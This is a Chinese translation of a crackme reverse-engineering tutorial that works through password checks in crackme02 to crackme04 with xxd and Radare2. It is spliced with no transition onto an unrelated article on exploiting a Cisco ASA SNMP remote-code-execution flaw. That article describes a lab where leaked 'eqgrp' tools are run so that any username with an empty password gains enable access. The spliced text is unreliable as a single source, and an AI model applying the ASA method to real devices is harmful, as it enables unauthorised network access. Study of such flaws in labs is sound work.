我们可以使用另一个标准Unix二进制工具来查看特定偏移量的原始数据：`xxd`。这个题目中，执行`xxd -s 0x844 -l 0x40
crackme02.64`。其中，`-s`是表示跳到（skip）指定位置，使输出从我们感兴趣的偏移开始。`-l`是指输出长度（length），使输出只有0x40个字符长，而不是整个文件的余下部分。可以看到：
$ xxd -s 0x844 -l 0x40 crackme02.64
00000844: 4e65 6564 2065 7861 6374 6c79 206f 6e65 Need exactly one
00000854: 2061 7267 756d 656e 742e 004e 6f2c 2025 argument..No, %
00000864: 7320 6973 206e 6f74 2063 6f72 7265 6374 s is not correct
00000874: 2e0a 0070 6173 7377 6f72 6431 0059 6573 ...password1.Yes
所以现在我们知道这段代码打印一个字符串“Need exactly one argument.”这就是当您指定太多或太少的参数时，您会看到的程序行为。
### 基础流分析
这段代码最重要的部分是最后的无条件跳转，它转到地址77c：
add rsp,0x8
ret
这段代码从堆栈中删除局部变量并返回，仅此而已。如果没有为二进制文件提供正好2个参数——它自己的名称和一个命令行参数——它就会退出。
我们可以用C代码编写这个程序：
int main(int argc, char** argv){
if (argc != 2) {
puts("Need exactly one argument.");
return -1;
}
// 神奇的事情在这里发生
}
为了找出程序接下来的部分中发生了什么神奇的事情，我们需要查看程序的流程。假设`argc`检查通过（不进行0x717的跳转），程序将进入该块执行：
mov rdx,QWORD PTR [rsi+0x8]
movzx eax,BYTE PTR [rdx]
test al,al
je 761
第一条指令将地址`[rsi + 0x8]`的四字（64位值）移入`rdx`。什么是 rsi ？完整64位源索引寄存器（the full 64-bit
Source Index register）？实际上这是Linux x86_64调用约定中的 _第二个_ 参数。 所以在C语言中，这是`argv +
8`的值，或者`argv[1]`，因为`argv`的类型是`char **`。
下一条指令移动存储在`rdx`中的地址上的一个字节并向高位填充零（`movzx`）。换句话说，移动了`*argv[1]`，或`argv[1][0]`。现在eax寄存器（The
Accumulator register）除了最后8位为`argv[1]`（即程序的命令行参数）的第一个字节，高位全为零。
`test al，al`相当于`cmp al,0`。`al`是累加器寄存器的低8位。这个程序块相当于C代码：
if (argv[1][0] == 0) {
// do something
}
那么地址0x761中是什么？它是这样的：
lea rsi,[rip+0x119] # 881 <_IO_stdin_used+0x41>
mov edi,0x1
mov eax,0x0
call 5c8 <.plt.got+0x8>
mov eax,0x0
add rsp,0x8
ret
逆向工程师最重要的技能之一是注意到代码的模式，您在这里就可以看到一个。这里，程序通过`lea`复制了一个指令指针的相对偏移量到`rsi`，然后调用一个函数。
使用和上面相同技术，可以知道这个函数是`printf`。`printf`的参数是一个格式字符串和可变数量的参数。所有可变函数都需要使用`eax`累加寄存器来保存一个值，告诉程序要在FPU寄存器中查找多少个参数（在这个例子中没有，正如我们从`mov
eax，0x0`指令中看到的那样）。`rdx`寄存器已经存放了指针`argv[1]`，所以这是第二个命令行参数。
那格式字符串是什么？我们使用与以前相同的技术，但这次我没有把`objdump`添加的注释去掉，它帮我们做了数学运算。
所以运行`xxd -s 0x881 -l 0x40 crackme02.64`，得到这里的格式字符串是`Yes, %s is
correct!`。看起来很好！另外我们可以看到，在函数调用之后（在地址0x77c，这是一个很有用的地址，要记住），局部变量的空间从堆栈中删除，函数返回。返回值总是放在eax中，所以这里程序返回0。成功！
所以我们的C代码看起来像这样：
int main(int argc, char** argv){
if (argc != 2) {
puts("Need exactly one argument.");
return -1;
}
if (argv[1][0] == 0) {
printf("Yes, %s is correct.", argv[1]);
}
// 神奇的事情在这里发生
}
我们所要做的只是提供一个字符串，其第一个字节为0——也就是空字符串：
$ ./crackme02.64 ""
Yes, is correct!
从某种意义上说，我们已经完成了这个CrackMe，但是我们继续看看接下来的代码。
如果检查失败，则代码转到这里（地址0x724处）：
cmp al,0x6f
jne 794
回想一下，由于我们假设检查成功的跳转没有执行，所以al中现在存放着`argv[1][0]`。这段代码检查它是否不等于0x6f（十进制111;
ASCII字符'o'）。如果是就跳转到地址0x794。
lea rsi,[rip+0xc4] # 85f <_IO_stdin_used+0x1f>
mov edi,0x1
mov eax,0x0
call 5c8 <.plt.got+0x8>
mov eax,0x1
jmp 77c
这又是一个打印并返回的代码块。最后无条件跳转（`jmp`）到0x77c，程序删除其局部变量的堆栈空间并返回。
这个代码块不是打印成功消息，而是打印“No, %s is not correct.”，格式化字符串填入命令行参数，然后返回失败代码1。
_那我们就知道正确的消息以字母“o”开头_ ，如果不是就会判定失败。
int main(int argc, char** argv){
if (argc != 2) {
puts("Need exactly one argument.");
return -1;
}
if (argv[1][0] == 0) {
printf("Yes, %s is correct.", argv[1]);
return 0;
}
if (argv[1][0] != 'o') {
printf("No, %s is not correct.", argv[1]);
return 1;
}
// 神奇的事情在这里发生
}
假设跳转不发生，那么我们来到地址0x728的代码块处：
mov esi,0x1
mov eax,0x61
mov ecx,0x1
lea rdi,[rip+0x139] # 877 <_IO_stdin_used+0x37>
movzx ecx,BYTE PTR [rdx+rcx*1]
test cl,cl
je 761
在这里，我们给寄存器加载一些常量，然后将一个指针加载到`rdi`中。这个指针指向字符串“password1”，但我们知道这不是正确的密码。究竟发生什么了？
下一条指令移动一个地址在`rdx + rcx`的字节。`rdx`里面是什么？我们向上翻一翻，到0x719的代码处，我们看到它加载了`rsi +
0x8`的值，也就是`argv[1]`。所以这里其实是在索引那个字符串，`ecx = argv[1][1]`。
之前说过，逆向工程最重要的技能是识别代码的模式。这是我们在上面已经见过的汇编片段：寄存器test自己，紧接着je，等价于“如果寄存器为零则跳转”。
所以，如果在`argv[1][1]`处是一个零字节，那么就跳转到0x761。那里的代码逻辑是什么？这是我们刚刚逆向过的一个代码块，它打印成功字符串并退出，返回码为0。伪代码如下所示：（译者注：因为是先判断第一个字符是否为o，才进行的第二个字符为0的判断，这个逻辑和下面的伪代码不符）
int main(int argc, char** argv){
if (argc != 2) {
puts("Need exactly one argument.");
return -1;
}
if (argv[1][0] == 0 || argv[1][1] == 0) {
printf("Yes, %s is correct.", argv[1]);
return 0;
}
if (argv[1][0] != 'o') {
printf("No, %s is not correct.", argv[1]);
return 1;
}
// 神奇的事情在这里发生
}
如果第二个字符不是零，会怎样呢？继续向下，看0x746处的代码：
movsx eax,al
sub eax,0x1
movsx ecx,cl
cmp eax,ecx
jne 794
这里我们将`eax`除最低8位之外都清零，并减去1。然后同样将`ecx`除最低8位之外都清零，并将`eax`与`ecx`进行比较。如果它们不相等，就跳转到0x794。这是又一个我们已经逆向过的代码块，它打印失败字符串并退出，返回码为1。
这个代码是实现什么的？从上面我们可以知道，`eax`包含一个字节0x61（十进制97，ASCII字符'a'）。它减去1，是0x60（十进制96，ASCII字符'`'）。所以我们就知道了，密码的前两个字符是“o`”。
我们的伪代码如下：
int main(int argc, char** argv){
if (argc != 2) {
puts("Need exactly one argument.");
return -1;
}
if (argv[1][0] == 0 || argv[1][1] == 0) {
printf("Yes, %s is correct.", argv[1]);
return 0;
}
if (argv[1][0] != 'o' || argv[1][1] != 0x60) {
printf("No, %s is not correct.", argv[1]);
return 1;
}
// 神奇的事情在这里发生
}
如果它们相等，那么就到了地址0x753的代码处：
add esi,0x1
movsxd rcx,esi
movzx eax,BYTE PTR [rdi+rcx*1]
test al,al
jne 73e
一开始程序使`esi`加一。（`esi`在前一个块中赋值为1。）然后将该值移动到`rcx`的低32位。
然后，程序从`rdi + rcx`加载一个字节。`rdi`是`argv[1]`，`rcx`是`esi +
1`（此时为2）。所以这里的程序加载了`argv[1][2]`。更准确地说，它加载了`argv[1][rcx]`（您稍后会明白为什么这一点很重要）。
然后代码检查它是否等于0，如果不是就跳转到0x73e：
movzx ecx,BYTE PTR [rdx+rcx*1]
test cl,cl
je 761
我们之前见过这个代码块，这是上面几节见过的检查代码。它从`argv[1][ecx]`加载一个字节并检查它是否为零，如果是，它会跳转到判定成功的代码块，如果不是，它会继续向下进入到我们刚刚逆向过的代码。这是您发现的又一种模式：
**循环** 。
现在我们已经发现了整个循环，我们看看它的所有指令，从0x73e开始到0x75f结束。
回想一下，几个块之前，`rdi`加载了字符串`password1`的地址，但这不是正确的密码。在这里我们可以发现原因。从这个字符串加载的字节，在将它们与实际输入进行比较之前被减去1。
movzx ecx,BYTE PTR [rdx+rcx*1] ; load a byte from argv[1]
test cl,cl ; check if that byte is zero
je 761 ; if so, jump to success
movsx eax,al
sub eax,0x1 ; decrement comparison byte
movsx ecx,cl
cmp eax,ecx ; check if the correct byte == the input byte
jne 794 ; if it doesn't match, jump to failure
add esi,0x1 ; increment index into comparison string
movsxd rcx,esi ; place that index in CX
movzx eax,BYTE PTR [rdi+rcx*1] ; load the next byte from the comparison string
test al,al ; Check that that byte isn't zero
jne 73e ; If it's not zero, loop
虽然我们会像下面的C代码那样编写它，但编译器实际上将循环检查的第二部分移动到循环的末尾，并在那里加载比较字符串的下一个字节。
注意：此代码在本教程的原始版本中不正确。感谢[empwill](https://github.com/empwill/)的指正。我提出这一点，是想让读者意识到即使是经验丰富的逆向工程师也会犯错误，而且这些错误可以预见和修复！
> **亲自尝试一下** ：要找到正确的密码，看下面这个C代码就足够了。试试看，去找到密码！
int main(int argc, char** argv){
if (argc != 2) {
puts("Need exactly one argument.");
return -1;
}
// This pointer is in rdi in our disassembled binary
char* comparison = "password1";
// This is the value used to index the argv[1]
int i = 0;
while (argv[1][i] != 0 && (comparison[i]) != 0) {
if (argv[1][i] != comparison[i] - 1) {
printf("No, %s is not correct.", argv[1]);
return 1;
}
i++;
}
printf("Yes, %s is correct.", argv[1]);
return 0;
}
确实只要这个代码就足够了。只要简单地对`password1`字符串中的每个字符减去1，就得到“o`rrvnqc0”。试试吧：
$ ./crackme02.64 o\`rrvnqc0
Yes, o`rrvnqc0 is correct!
您可能已经敏锐地觉察到这个二进制文件存在问题，它会接受这些字符串中的任何一个：o，o`，o`r，o`rr等等都会生效！显然这个方法用于您的产品密钥中不是很好。此外，正如[机智的GitHub评论者](https://github.com/LeoTindall/crackmes/issues/2)指出的，空密码也是可以的（`./crackme02.64
""`）。
如果您读到这里，那就恭喜您！逆向工程很难，但些这是它的核心部分，而且从此以后它会变得更加容易。
> **练习** ：有一个名为`crackme02e.c`的文件可以使用相同的方法解决。编译并尝试解决它，巩固您的技能。
## crackme03.c
下一个CrackMe会稍微难一些。在crackme02中，我们人为查看每个分支，在心里构建了整个执行流程。随着程序变得更复杂，这种方法就变得不可行了。
### Radare 分析工具
不过逆向工程社区有很多聪明人，并且开发出很多好工具可以自动完成大量的分析。其中一些如Ida Pro，售价高达5000美元。我个人最喜欢的是Radare2（
**Ra** ndom **da** ta **re** covery），它完全免费且开源。
运行`crackme03.64`，我们可以看到它的行为与前两个题目基本上相同。它需要且只需要一个参数，当我们提供一个参数时，它会告诉我们这是错误的，这很有用。
这一次，我们使用`radare2`（或`r2`命令）打开它，而不用`objdump`：`r2
./crackme03.64`。这时您会看到一个提示符界面。输入“?”能看到帮助信息。Radare是一个非常强大的工具，但对于这个题目，我们不需要用到它太多功能。在下面这个帮助中我删除了很多条目，只剩下一些有用的项目：
[0x000005e0]> ?
Usage: [.][times][cmd][~grep][@[@iter]addr!size][|>pipe] ; ...
Append '?' to any char command to get detailed help
Prefix with number to repeat command N times (f.ex: 3x)
| a[?] Analysis commands
| p[?] [len] Print current block with format and length
| s[?] [addr] Seek to address (also for '0x', '0x1' == 's 0x1')
| V Enter visual mode (V! = panels, VV = fcngraph, VVV = callgraph)
需要注意的一点是Radare **自带文档** 。如果您想知道一个命令是什么用的，只需在它之后输入一个问号“?”。例如我们想分析当前的程序：
[0x000005e0]> a?
|Usage: a[abdefFghoprxstc] [...]
| ab [hexpairs] analyze bytes
| aa[?] analyze all (fcns + bbs) (aa0 to avoid sub renaming)
| ac[?] [cycles] analyze which op could be executed in [cycles]
| ad[?] analyze data trampoline (wip)
| ad [from] [to] analyze data pointers to (from-to)
| ae[?] [expr] analyze opcode eval expression (see ao)
| af[?] analyze Functions
| aF same as above, but using anal.depth=1
| ag[?] [options] output Graphviz code
| ah[?] analysis hints (force opcode size, ...)
| ai [addr] address information (show perms, stack, heap, ...)
| ao[?] [len] analyze Opcodes (or emulate it)
| aO Analyze N instructions in M bytes
| ar[?] like 'dr' but for the esil vm. (registers)
| ap find prelude for current offset
| ax[?] manage refs/xrefs (see also afx?)
| as[?] [num] analyze syscall using dbg.reg
| at[?] [.] analyze execution traces
Examples:
f ts @ `S*~text:0[3]`; f t @ section..text
f ds @ `S*~data:0[3]`; f d @ section..data
.ad t t+ts @ d:ds
> **亲自尝试一下** ：翻阅一下帮助，通过Google查询您不知道的术语。在这篇文章里不会涉及其中很多很酷的功能，但这会激发您进行一些尝试。
### 自动化分析
我们可以用它的命令`aaaa`：使用所有正常及实验中技术分析函数。
这样Radare会给我们返回一个函数列表。我们可以用`afl`查看它：分析函数，显示列表（`a`nalyze `f`unctions, displaying
a `l`ist）。
[0x000005e0]> afl
0x00000000 3 73 -> 75 fcn.rsp
0x00000049 1 219 fcn.00000049
0x00000590 3 23 sym._init
0x000005c0 1 8 sym.imp.puts
0x000005c8 1 8 sym.imp.__printf_chk
0x000005d0 1 16 sym.imp.__cxa_finalize
0x000005e0 1 43 entry0
0x00000610 4 50 -> 44 sym.deregister_tm_clones
0x00000650 4 66 -> 57 sym.register_tm_clones
0x000006a0 5 50 sym.__do_global_dtors_aux
0x000006e0 4 48 -> 42 entry1.init
0x00000710 7 58 sym.check_pw
0x0000074a 7 203 main
0x00000820 4 101 sym.__libc_csu_init
0x00000890 1 2 sym.__libc_csu_fini
0x00000894 1 9 sym._fini
我们只要关心`main`和`check_pw`两个函数。
> **亲自尝试一下** ：想想看我为什么可以立即判断出其他函数是无用的，善用搜索引擎。
通过`pdf@main`指令，Radare可以为我们反汇编一个函数：打印main函数的反汇编（`p`rint `d`isassembly of a
`f`unction `@` (at) the symbol called
`main`）。Radare还支持通过Tab进行上下文自动补全。例如，如果您输入`pdf@sym`，并按Tab键，您将获得符号表中所有函数的列表。
总之，首先要注意的是Radare会对反汇编结果进行语法高亮，添加大量注释，甚至命名一些变量。它也做了一些分析来确定变量的类型。在这个题目中，我们有9个本地堆栈变量。Radare根据它们距离堆栈指针（SP）的偏移量，将它们命名为`local_2h`，`local_3h`等。
程序的开头我们非常熟悉。从0x74a开始：
push rbx
sub rsp, 0x10
cmp edi, 2
jne 0x7cc
我们可以发现函数首先为局部变量分配16个字节的内存，然后是一个`if`语句。回想一下，DI寄存器保存了函数的第一个参数。因为这是`main`函数的参数，所以该参数是`argc`。所以代码逻辑是：`if
(argc != 2) jump somewhere`。
在Radare中，查看`jne`指令的左侧，您会看到一条箭头从该指令出发，并向下指向到0x7cc，我们可以看到：
lea rdi, str.Need_exactly_one_argument. ; 0x8a4 ; "Need exactly one argument." ; const char * s
call sym.imp.puts ; int puts(const char *s)
mov eax, 0xffffffff ; -1
jmp 0x7c6
还记得在我们的二进制文件中搜索字符串有多麻烦吗？Radare为我们做了这些：为我们提供了地址，方便的别名以及字符串文字的值。它还分析出被调用的函数，这非常方便。这样我们可以毫不费力地看到二进制文件正在打印字符串“Need
exactly one argument.”
然后它给`eax`装入-1并跳转到0x7c6。我们可以通过箭头（或者通过滚动并寻找地址）来查看它，但还有一种更有趣的方式。
### 可视化流程分析
Radare提供了一种称为“可视化模式”的功能。我们需要先把Radare的内部光标移动到我们想要分析的函数，使用`s`eek命令：`s
main`。您会注意到提示符从`[0x000005e0]>`更改为`[0x0000074a]>`，表示当前位置已移至`main`函数中的第一条指令，然后输入`VV`（可视模式2）。这时您应该会看到包含程序各部分的ASCII字符框。
每当出现跳转指令时，代码块就结束了，并且出现指向其他块的箭头。例如，在顶部块（函数的开头）中，检查命令行参数个数的jne指令引出一红一绿两个箭头。
在右边您会看到一个类似这样的块：
.---------------------------------------------.
| 0x7cc ;[ga] |
| ; const char * s |
| ; 0x8a4 |
| ; "Need exactly one argument." |
| lea rdi, str.Need_exactly_one_argument. |
| call sym.imp.puts;[gh] |
| ; -1 |
| mov eax, 0xffffffff |
| jmp 0x7c6;[gg] |
`---------------------------------------------'
这就是我们刚刚分析的块。使用键盘方向键键跟随蓝色（无条件）箭头向下看看这个块之后会发生什么。您会在底部看到一个0x7c6的块，这个块可以从程序中的许多位置无条件地跳转到：
add rsp, 0x10
pop rbx
ret
这里释放堆栈空间并返回。所以这个程序的行为与我们看过的其他程序一样：如果没有正确数量的参数，它会打印一个字符串并退出，返回错误代码（`eax`加载了-1）。
> **亲自尝试一下** ：在控制流程图中查看程序的其余部分，找到打印失败消息的块，有两个判断可以通向那里。您能弄清楚它们做了什么吗？
> 回想一下，`test eax,eax`紧接着`je`表示“如果`eax`为零则跳转”。x86指令集有详细的文档，如果您不知道指令的作用，请查阅！
如果我们从第一个块向下进入没有执行`jne`的红色分支（即正好有2个字符串传递给二进制文件），您将看到在0x754的这些指令：
mov dword [local_9h], 0x426d416c ; [0x426d416c:4]=-1
mov word [local_dh], 0x4164 ; [0x4164:2]=0xffff
mov byte [local_fh], 0
mov word [local_6h], 0
mov byte [local_8h], 0
mov byte [local_2h], 2
mov byte [local_3h], 3
mov byte [local_4h], 2
mov byte [local_5h], 3
mov byte [local_6h], 5
mov rbx, qword [rsi + 8] ; [0x8:8]=0
mov eax, 0
mov rcx, 0xffffffffffffffff
mov rdi, rbx
repne scasb al, byte [rdi]
cmp rcx, 0xfffffffffffffff8
je 0x7df
这个块一大部分的工作是将一堆值加载到内存中。这里Radare不是显示实际地址，而是根据其堆栈偏移命名每个局部变量。向上滚动到最开始的块，我们可以看到`local_2h`到`local_fh`都是`int`类型（至少Radare认为是这样），并且它们都是一个字节大小。
在把这些值加载到局部变量之后，它将地址`rsi +
8`的内存加载到`rbx`中。回想一下x86_64调用约定，`rsi`是第二个命令行参数：`argv`。所以`rsi +
8`是`argv[1]`。然后它给`rax`载入0，`rcx`载入`0xffffffffffffffff`，`rdi`载入`rbx`的值，该值刚刚从`argv[1]`得到。
然后它运行`repne scasb`指令。这是x86的一个奇怪但快速的指令：它是一个获得字符串长度的 _原生指令_
。`repne`表示在不相等时重复执行（`rep`eat while `n`ot
`e`qual），`scasb`表示按字节扫描和比较——有关详细信息，请参阅[此处](http://www.felixcloutier.com/x86/SCAS:SCASB:SCASW:SCASD.html)。
因此，该指令将各字节与`al`的值（此处为0）依次进行比较，从`rdi`中的存储器地址开始，并对`rdi`进行累加，同时从`rcx`中减去1（`rcx`中的“C”是指计数counter寄存器）。实际上这个指令是计算字符串的长度。x86是不是很有趣？
不管怎样，一旦完成`repne
scasb`操作，`rcx`将存储着0xffffffffffffffff减去字符串的长度。我们可以看到下一条指令将它与0xfffffffffffffff8进行比较。因此，如果字符串长度是0xffffffffffffffff
- 0xfffffffffffffff8 = 7字节（包括终止字符），则跳转，否则不跳转。
如果不进行跳转，则流程进入到0x7a8处的块，会打印失败字符串。因此，我们可以确定正确的密码恰好是6个字节（要去掉终止符）。
### 函数
更有趣的是进行跳转的部分。
lea rdx, [local_2h]
lea rsi, [local_9h]
mov rdi, rbx
call sym.check_pw
test eax, eax
je 0x7a8
程序加载一些局部变量的地址，还有`argv[1]`（记得吗？它被存在`rbx`中），然后调用一个函数：`sym.check_pw`。当然，二进制文件中只存有函数的偏移量，但Radare可以在符号表中查找这个偏移量并把它替换为函数名称。`check_pw`看起来相当有意思，根据名称我们可以知道：在调用函数之后，如果函数返回零，程序跳转到失败分支，如果不为零，则继续进入成功分支（回想一下，`test
eax,eax`表示如果`eax`为零，则执行`je`跳转）。
那么这个函数到底是做什么的呢？
先回想一下x86_64调用约定。`rdi`，`rsi`和`rdx`（在调用之前赋值的三个寄存器）是函数的前三个参数。所以在C中，调用看起来像这样：
int result = check_pw(argv[1], &local_9h, &local_2h);
if (result == 0) {
// 失败
} else {
// 成功
}
那么问题就转换为`check_pw`究竟做了什么？为了弄明白这个，我们需要退出视觉模式（连按两次`q`），并进入这个函数（`s
sym.check_pw`），然后查看流程图（`VV`）。
很明显，这个函数包含一个循环。`main`函数里无论怎么跳转流程都会一直向下进行，而在`check_pw`中，靠近底部的一个块有一个跳到顶部的`jne`指令。再仔细一点看，我们可以发现有三个地方会返回。其中一个（在0x73e处）返回0（失败），另外两个（在0x744和0x748处）返回1（成功）。
这种高级分析只能通过流程图进行，并且这是使用Radare等工具的主要优势之一。刚接触逆向工程时，我亲手绘制流程图，是因为我不知道这些免费工具的存在。不要那样做，很浪费时间。
这个函数首先赋值一个64位通用寄存器`r8d`，其值为0。然后跳转到下一个块（0x716）：
movsxd rax, r8d
movzx ecx, byte [rdx + rax]
add cl, byte [rsi + rax]
cmp cl, byte [rdi + rax]
jne 0x73e;[gb]
这个块将`r8d`（其中是零）赋值给`rax`，然后从函数的第三个参数加载一个字节，由`eax`索引。回到我们的参数列表，这个参数是`&local_2h`，所以它加载了`(&local_2h)[0]`。
然后程序把它与用`eax`索引的第二个参数中的一个字节（`(&local_9h)[0]`）相加，并将起与用`eax`索引的第一个参数中的一个字节（`argv[1][0]`）进行比较。注意这是一个循环，所以`eax`会改变。换一种说法：
while (/* 一些条件？？ */) {
char temp = arg3[eax] + arg2[eax];
if (temp != arg1[eax]) {
return 0; // 失败
}
}
如果跳转不执行，代码会来到0x725处：
add r8d, 1
movsxd rax, r8d
cmp byte [rsi + rax], 0
je 0x744;[gd]
这里会增加循环计数器，检查用循环计数器索引的第二个参数的那个字节是否为零。如果是，它会跳转到返回成功的代码（0x744）。否则，它继续循环。更新的C代码如下所示：
while (arg2[eax] != 0) {
char temp = arg3[eax] + arg2[eax];
if (temp != arg1[eax]) {
return 0; // 失败
}
eax++;
}
return 1;
这样就能很容易看出`check_pw`在做什么：它比较两个字符串，但它逐个地修改了其中一个字符串的字符。
看看`main`中传递给函数的参数，我们可以看到这个程序把`(&local_2h)[eax]`和`(&local_9h)[eax]`相加。可以回到`main`函数（退出可视模式，执行`pdf@main`）来查看每个值的内容。
这两个变量都在堆栈上。我们之前知道`check_pw`只会在一个含有6个字符的字符串上被调用，因此我们只需要查看6个值。这是`local_2h`之后的值（您可以看到它们在`main`中被赋值）：2,3,2,3,5。这只有5个值，是怎么回事？
我们再看一遍，堆栈变量的赋值从地址0x754开始：
mov dword [local_9h], 0x426d416c ; [0x426d416c:4]=-1
mov word [local_dh], 0x4164 ; [0x4164:2]=0xffff
mov byte [local_fh], 0
mov word [local_6h], 0
mov byte [local_8h], 0
mov byte [local_2h], 2
mov byte [local_3h], 3
mov byte [local_4h], 2
mov byte [local_5h], 3
mov byte [local_6h], 5
在按顺序将字节大小的值移入`local_2h`到`local_6h`之前，`local_6h`（即`rsp +
0x6`）被载入一个字（word）大小的0（这是Intel语法，所以一个字是16位。请参阅[这里](https://en.wikipedia.org/wiki/Word_%28computer_architecture%29#Size_families)）。这就是说`rsp
+ 0x6`和`rsp + 0x7`都被置为零。
注意，Radare完全没有意识到这些值是在一个数组中，更不要说告诉我们它被初始化了什么值，尽管它完全是静态的数组。这是需要人脑进行逆向工程的一个部分。计算机知道那些地址里有什么数据，但它无法知道它们的用途。
总之，我们从`local_2h`开始的值表是`[2,3,2,3,5,0]`。这些不是可打印的ASCII字符，因此硬编码的密码可能存储在另一个参数中：`local_9h`。
最上方的`mov`指令移动了一个双字（dword），这是一个32位的值，接下来是一个字（word）大小的值，然后是一个字节大小的零。这有4 + 2 =
6个字节，加上一个空终止符，所以这三个指令一起组成了一个字符串。 如果我们按字节分隔并写出这些值，则更明显一些：`42 6d 41 6c 41 64
00`。这很明显是以空字符结尾字符串的格式，其值都在可打印的ASCII范围内。
剩下的就是为它们添加偏移量，就得到`44 70 43 6e 44 64 00`。将这些字节转换为ASCII字符，我们得到：`DpCnDd`。
很明显，只要将字符串输入二进制文件……失败了。怎么回事？
> **亲自尝试一下** ：为什么会这样？这和x86组织数据的方式有关，很基础的知识。
原因是x86处理器是小端序的。也就是在多字节值中需要从右到左读取字节，而不是从左到右。只需翻转`local_9h`和`local_dh`的顺序就可以轻松纠正这个问题。`42
6d 41 6c`变为`6c 41 6d 42`；`41 64`变为`64 41`。我们的整个字符串变为`6c 41 6d 42 64 41
00`，正确的字符串变为`6e 44 6f 45 69 41 00`，ASCII字符是`nDoEiA`。
恭喜您完成本教程的这一部分。您现在已经拥有了静态逆向工程所需的所有技术！不要忘记通过做练习来巩固你的技能。
## crackme04.c
现在您已经知道了对这些CrackMe进行逆向工程所需的所有工具和技术，我只是要强调每个CrackMe中最重要的部分。解决crackme04可以使用与之前一样的基本过程：在Radare中打开它，运行分析，并进入`main`函数。流程图可以引导您进入代码的核心循环，如下所示：
movsx eax, al
add esi, eax
add ecx, 1
movsxd rax, ecx
movzx eax, byte [rdx + rax]
test al, al
jne 0x72e;[ge]
如果`al`（输入字符串中的一个字节）不为零，那么跳转返回到顶部。否则将`ecx`与0x10进行比较，如果不相等则失败退出。如果相等则进行另一个检查：如果`esi`不等于0x6e2，则跳转到失败，如果相等，则检查成功。
那么`ecx`和`esi`里面是什么？很容易看出`ecx`是一个计数器。在每次循环迭代中它会递增，并用于索引输入字符串。因此，在循环完成后，它等于字符串中非零字节的数量。
`esi`仅在循环中的一行被修改：它是字符串中字符数值的总和。它后来与0x632进行了比较（译者注：这里应该是0x6e2而不是0x632，应为作者笔误）。所以我们需要一个16字符的字符串，其总和为0x6e2（1762）。
我的方法是简单地做除法然后最后一个字符添加它的余数。1913除以16等于110余数2（译者注：应该是1762而不是1913，又一处笔误），所以我们使用字符110（'n'），然后接上一个112（'p'）：`nnnnnnnnnnnnnnnp`。
# 附录
## Makefile
使用的Makefile相当简单，但可能有一些难以理解的地方。其中最主要的是在编译后的可执行文件上使用objcopy。我用它来去除FILE符号，否则Radare会利用这个符号在反汇编旁边显示源代码，完全练习达不到练习的目的。
## 练习
命名为`crackme01e.c`，`crackme02e.c`等等的文件是其没有e后缀的对应文件的修改版本。它们用于练习，可以用与本教程各个部分中提到的完全相同的技术来解决。如果您在继续下一个部分之前先解决它们，您将获得更好的体验。
## 媒体报道
2018年1月6日星期六：本教程在Hackaday上被发布，导致我的服务器短暂地宕机。从那里来的朋友们你们好。请看看我的其他教程，如果您想要我创建更多这样的内容，请支持我的[Patreon](https://leotindall.com/)。 | 社区文章 |
# 我听说你不需要密码？Cisco ASA SNMP RCE漏洞分析利用
|
##### 译文声明
本文是翻译文章，文章来源：唯品会安全应急响应中心&Mils
译文仅供参考，具体内容表达以及含义原文为准。
在这个似乎人人都在致力于HAPPY WEEKEND的年代，有什么办法可以让WEEKEND BE MORE HAPPY呢？复（利）现（用）一个漏洞如何？！
此前在Twitter看到：
接着又是
似乎很有趣，那就来试试咯。
**免责声明：**
本文中的一切资料仅供参考，并仅限于实验环境，并不构成任何具体的法律或其他问题。
任何人不得以任何形式或通过任何途径将文中内容用作非法途径。
**
**
**一、搭建实验环境**
**1\. 创建ASA虚拟机**
为了将SNMP服务器与ASA可以互相通信，这里我们选择host only 模式
Pipe命名规则需要注意格式
于是打开虚拟机选择第一个镜像进入开始界面
ASA启动完毕
**2\. 配置pipe tcp proxy**
我们准备pipe管道配置连接，这里的888端口任意
**3\. 使用CRT连接ASA**
打开Secure CRT的Telnet连接
需与之前的888端口对应
最后创建CRT连接完毕
**4\. 确认ASA 版本**
成功连接ASA之后进入查看ASA的版本信息，这里是8.4(2)
**5\. 确认SNMP_SERVER的网卡信息**
检查SNMP服务器的网卡配置信息 注意是host only
**6\. 配置ASA基本信息**
ciscoasa(config)#hostname MILSASA
MILSASA(config)#enable password 123
MILSASA(config)#interface GigabitEthernet 0
MILSASA(config-if)#nameif inside
INFO:Security level for "inside" set to 100 by default.
MILSASA(config-if)#ip address 192.168.120.10 255.255.255.0
MILSASA(config-if)#no shutdown
**7\. 启用本地Vmnet1网卡**
为了远程管理，本地配置同网段IP地址即可
**8\. 确认本地到ASA链路正常**
9\. 确认本地到SNMP_SERVER链路正常
10\. 确认SNMP到ASA链路正常：
11\. 确认ASA到SNMP链路正常：
12\. 创建ASA用户名和密码
MILSASA(config)#username MILS password 123
MILSASA(config)#aaa authentication ssh console LOCAL
表示SSH与CONSOLE均使用本地认证
13\. 配置ASA 的SSH服务
MILSASA(config)# crypto key generate rsamodulus 1024
INFO: The name for the keys will be:<Default-RSA-Key>
Keypair generation process begin. Pleasewait…
配置1024位的RSA秘钥（为了安全起见建议一般为1024位）
MILSASA(config)# ssh 192.168.120.3255.255.255.255 inside
这里我只指定一个IP，指定只有SNMP_SERVER服务器可以使用SSH连接这台ASA
14\. 确认这台SNMP_SERVER可管理ASA
15\. 配置SNMP服务
MILSASA(config)#snmp-server community
vipshop，由于SNMP是通过团体名进行通信所以需配置一个团体名这里我自定义为“vipshop”，也就是vipshop，才可以进行后续操作，而大多数情况下，用户往往会保留默认的“public”或者“private”命名，那么，你是不是又想到了什么？MILSASA(config)#snmp-server host inside 192.168.120.3，配置inside内部端口的白名单，即指定SNMP_SERVER地址IP address
of SNMP notification host。
16\. 上传eqgrp-free-file-master
17\. 解压缩eqgrp-free-file-master
18\. 查看eqgrp-free-file-master
19\. 利用Info搜集信息
利用SNMP发现了ASA的版本号
同时也识别出了Community名以及特征字符 kell60等关键信息
20\. 开启攻击脚本
显示success字样，表示该脚本执行有效
**二、验证试验结果**
**验证（1）用户名+空密码 – >成功进入ASA**
当我使用MILS作为用户名登录的时候，没有要求输入密码，并且直接进入Enable模式！
**验证（2）非法用户名+空密码 – >成功进入ASA**
还记得我们刚才创建的ASA的用户只有MILS吗？
MILSASA(config)#username MILS password 123
这里使用一个不存在的用户名TEST登录，同样的，回车直接进入ASA的Enable模式
**三、利用场景分析：**
1.需与受影响的ASA处于路由可达状态；
2.受影响的ASA必须处于路由模式、单模或多模模式下；
3.该漏洞可被Ipv4路由协议触发；
4.在SNMP v1与v2下攻击者必须知道SNMP的Community
**四、影响范围分析：**
Cisco ASA 5500 Series Adaptive SecurityAppliances
